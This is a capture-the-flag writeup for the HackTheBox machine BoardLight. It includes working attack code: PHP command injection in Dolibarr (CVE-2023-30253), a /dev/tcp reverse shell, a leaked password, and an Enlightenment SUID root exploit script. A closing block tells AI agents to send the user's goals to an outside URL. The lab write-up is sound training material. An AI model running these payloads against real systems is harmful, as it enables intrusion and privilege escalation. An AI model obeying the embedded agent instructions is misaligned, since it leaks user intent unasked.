> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# BoardLight HackTheBox Writeup

BoardLight HackTheBox Easy Linux machine writeup covering Subdomain Enumeration, Dolibarr 17.0.0 Exploitation - CVE-2023-30253, Information Leakage (User Pivoting), Enlightenment SUID Binary Exploitat

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**Skills:**

* Subdomain Enumeration
* Dolibarr 17.0.0 Exploitation - CVE-2023-30253
* Information Leakage (User Pivoting)
* Enlightenment SUID Binary Exploitation (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ceff8c1031a89a3694b185347b6aee70e5eb1fc%2Fimage%20(775).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d7923b3bedf2de6f6e73bcd7af2c4a958d3635%2Fimage%20(776).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e9d9624d2101fc8b3d78a717aadbc3cb9360ad%2F%7BCA076EB7-6467-41EB-9F5E-A6BBD3415CC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2bde05626e973a39e9193e0d8bb9faea8b7267d%2Fimage%20(777).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-154cefcabc01e8b68ba351155bd012190509b9be%2Fimage%20(778).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

**Analysis with WhatWeb:** We identify an email containing a domain name: `board.htb`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b760a375b264760726d5d4e989af9846b317082%2Fimage%20(779).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df46ad44c06d2c224fa3f08da9653022da6a6ff1%2Fimage%20(780).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b0c17b0aeb6e6793f5207ed47c473b8110a5792%2Fimage%20(781).png?alt=media" alt=""><figcaption></figcaption></figure>

## Web Enumeration

**Search for directories with Feroxbuster:**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

No relevant results found.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf3dad731faf9e74ccc73b9c9fdc0e3a5b2fac8f%2Fimage%20(782).png?alt=media" alt=""><figcaption></figcaption></figure>

**Enumeration of subdomains with Gobuster:**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

We discover a subdomain: `crm.board.htb`..

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96db5c9a6356aad9898dbe38eebcdb14c1e4673f%2F%7BD61F13B4-4E09-42B7-97FA-0D6C5D99248B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We add it to `/etc/hosts`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9808b4e22700977d6dee7e808ca977063a198c47%2Fimage%20(783).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Vulnerability CMS Dolibarr

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Connection without authentication:** A connection attempt with random credentials logs in as administrator but without permissions.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Manual Exploitation**

**Creation of a malicious site:**

In the site creation section, we insert malicious PHP code:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

We confirm the execution of orders.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**Reverse Shell :**

Listening:

```bash
nc -nvlp 443
```

PHP code for a reverse shell:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Automated Exploitation**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Installation of dependencies:**

```bash
pip3 install -r requirements.txt 
```

**Executing the script:**

Test order (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reverse shell

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal Stabilization

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## User Pivoting - Larissa

The objective is to pivot towards the user **larissa**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d13b7cfadf7015cb54170d775628748389a252b%2F%7B733E7776-95B5-442F-9392-E741F2B86852%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Enumeration of information

In the `web` directory located in `htbdocs`, we find a folder named `conf` containing a **conf.php** file. This file contains the following information:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b2c381f7b5a395eca1522bc98da7f5b3f6e55d%2Fimage%20(791).png?alt=media" alt=""><figcaption></figcaption></figure>

* password: `serverfun2$2023`!!

#### SSH connection

With the information retrieved, let's try to connect to the machine via SSH:

```bash
ssh larissa@10.10.11.11
```

**Result:** The connection works.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37242d6e6fba996876be1c17a0764b3180711c59%2F%7B14CBF43C-5C33-4E8F-BF0D-3ED2C65DE848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22892303b1fe31c355f4f78e4e43567ed132433a%2Fimage%20(792).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### SUID - Enlightenment

We start by searching for SUID files owned by our user. To do this, run the following command:

```bash
find / -perm -4000 2>/dev/null
```

Analyzing the output, we notice the presence of the **enlightenment** binary.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70a652245f70014cac4a9062bb8887ab3838d25d%2Fimage%20(769).png?alt=media" alt=""><figcaption></figcaption></figure>

We are exploring vulnerabilities associated with this binary. After some research, we identify an exploit applicable for version **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a67c855a2046e8bd6aa53f64254b1118a1ba447c%2Fimage%20(770).png?alt=media" alt=""><figcaption></figcaption></figure>

However, checking the current version of Enlightenment installed on the system, we find that it is version **0.23.1**, an older version.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-006e8193583f1c13081e818f1279908d0def10aa%2Fimage%20(771).png?alt=media" alt=""><figcaption></figcaption></figure>

We are testing the following exploit to exploit the vulnerability:

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

After running the exploit, we get a shell with root privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef7dc22a89003ed59082e2b1d2a9bc629e5e9231%2Fimage%20(772).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b50a6e8c729600c74ba9ba37b774556ec5108950%2Fimage%20(774).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44225a94c7b240e65dfe2ce7d44610e1007e2c51%2Fimage%20(773).png?alt=media" alt="" width="425"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
